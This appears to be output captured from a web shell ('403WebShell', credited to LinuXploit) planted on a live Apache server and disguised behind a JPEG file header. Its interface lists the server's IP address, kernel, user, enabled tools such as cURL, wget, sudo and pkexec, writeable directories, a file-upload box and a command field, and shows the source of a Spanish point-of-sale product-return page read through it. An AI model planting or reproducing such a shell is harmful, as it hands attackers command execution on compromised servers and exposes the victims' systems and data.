����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.222.182.107
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/devolution-view.php
<section class="content">

<h1>Devolucion</h1>
<p>Capture las unidades de los productos a devolver.</p>
<?php if(isset($_GET["id"]) && $_GET["id"]!=""):?>
<?php
$sell = SellData::getByc2($_GET["id"]);
if($sell==null){
	Core::alert("No se encontro la venta!");
	Core::redir("./?view=dev");
}

echo "Folio De Venta: ";
echo $sell->sale_id;

//registros de la ventas
$operations = OperationData::getAllProductsBySellId($sell->sale_id);

$total = 0;
?>

<div class="box box-primary">
<table class="table table-bordered">
<?php if($sell->person_id!=""):
$client = $sell->getPerson();
?>
<tr>
	<td style="width:150px;">Cliente:</td>
	<td><?php echo $client->name." ".$client->lastname;?></td>
</tr>

<?php endif; ?>

<?php if($sell->user_id!=""):
$user = $sell->getUser();
?>
<tr>
	<td>Atendido por</td>
	<td><?php echo $user->name." ".$user->lastname;?></td>
</tr>
<?php endif; ?>

<tr>
<td style="width:150px;">Vendedor:</td>
	<td><?php 
		if($sell->id_seller>0){
			$c1= UserData::getById2($sell->id_seller);	
	}
	echo $sell->id_seller."-".$c1->username;?></td>
</tr>
<form method="post" action="./?action=processdevolution">
		<tr>
			<td style="width:150px;">Devolvio:</td>
			<td><input id="entrega" name="entrega" class="form-control" placeholder="Nombre de cliente que devuelve..." required></input></td>
		</tr>
		
		<tr>
			<td style="width:150px;">Forma de Pago Devolucion:</td>
			<td>
			<select name="f_pago" class="form-control" required >
				<option value="">-- NINGUNA --</option>
				<?php 
				$formaPs =FData::getAll();
				foreach($formaPs as $formaP):?>	
					<option value="<?php echo $formaP->id;?>"><?php echo $formaP->name;?></option>
				<?php endforeach;?>
			</select>
			</td>
		</tr>

		</table>
		</div>
		<br>
					  <div class="box box-primary">
						<div class="box-header">
						  <h3 class="box-title">Productos  de la venta:_</h3>
						 <h4 class="box-title">Ticket:  <?php echo $sell->id?></h4>
						</div><!-- /.box-header -->
			 
						 <input type="hidden" name="id_seller" value="<?php echo $sell->id_seller; ?>" >
						<input type="hidden" name="sell_id" value="<?php echo $sell->id; ?>" >
						
		<table class="table table-bordered table-hover">
			<thead>
				<th>#</th>
				<th>Codigo Barras</th>
				<th>Devolucion</th>
				<th>Cantidad</th>
				<th>Nombre del Producto</th>
				<th>Precio Unitario</th>
				<th>Total</th>

			</thead>
		<?php
		  $num=0;
		
			foreach($operations as $operation){
				$product  = $operation->getProduct();
				
				$productX =  ProductData::getBycode($product->barcode);
				//registros de la devoluciones
				$operationsDev = OperationData::getAllByProductIdAndDev($productX->id,1,$_GET["id"]);		
		?>
			<tr>
					<td><?php echo $product->id_item;?></td>
					<td>
					<input type="text" name="barcode" value="<?php echo $product->barcode;?>" disabled>
					</td>
					<td>
					<?php 
					if(isset($operationsDev)){
						$operationsDev->product_id;
					?>
						
						<input type="number" name="op_<?php echo $operation->id_item;?>" value="0" class="form-control" min="0" max="<?php echo $operation->qty ;?>" disabled>
					
					<?php }else{
						 $num=$num+1;
					 ?>
					 
						<input type="number" name="op_<?php echo $operation->id_item;?>" value="1" class="form-control" min="0" max="<?php echo $operation->qty ;?>" >
					
					 <?php
						}	
					 ?>
					 

					</td>
					<td>
					<?php 
					echo $operation->qty ;
					
					?></td>
					<td><?php echo $product->item_name ;?></td>
					<td>$ <?php echo number_format($operation->price,2,".",",") ;?></td>
					<td><b>$ <?php echo number_format($operation->qty*$operation->price,2,".",",");$total+=$operation->qty*$operation->price;?></b></td>
				</tr>	
			<?php	
			}
			?>
		
			</table>
				<tr>
			<td></td>
			<td></td>
			<td></td>
			<td> Forma de pago Principal(Venta): </td>
			<td>
			<div><b>   <?php 
			$sellX = SellData::getByIdSale($sell->sale_id);
			$NameDev = FData::getById($sellX->f_pago1);
				echo $NameDev->id;
				echo "-";
				echo $NameDev->name;
			?></b></div>
			<td>
			</tr>
			
		<div class="box-body">
		<br>
		<?php if(($num >= 1)):?>
		<input type="submit" value="Realizar Devolucion" class="btn btn-primary">
		<?phpelse:?>
		<a href="./?view=dev" class="btn btn-danger" >Cancelar</a>
		<?php endif;?>
		
		</div>
</form>

</div>
<br><br>
<!--
<div class="row">
<div class="col-md-4">
              <div class="box box-primary">
<table class="table table-bordered">
	<tr>
		<td><h4>Subtotal:</h4></td>
		<td><h4>$ <?php echo number_format($total,2,'.',','); ?></h4></td>
	</tr>
	<tr>
		<td><h4>Descuento:</h4></td>
		<td><h4>$ <?php echo number_format($total*($sell->discount/100),2,'.',','); ?></h4></td>
	</tr>
	<tr>
		<td><h4>Total:</h4></td>
		<td><h4>$ <?php echo number_format($total-$total*($sell->discount/100),2,'.',','); ?></h4></td>
	</tr>
</table>
</div>
</div>
</div>
-->
 
<?php else:?>
	501 Internal Error no hay id de venta error T001-DEV
<?php endif; ?>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit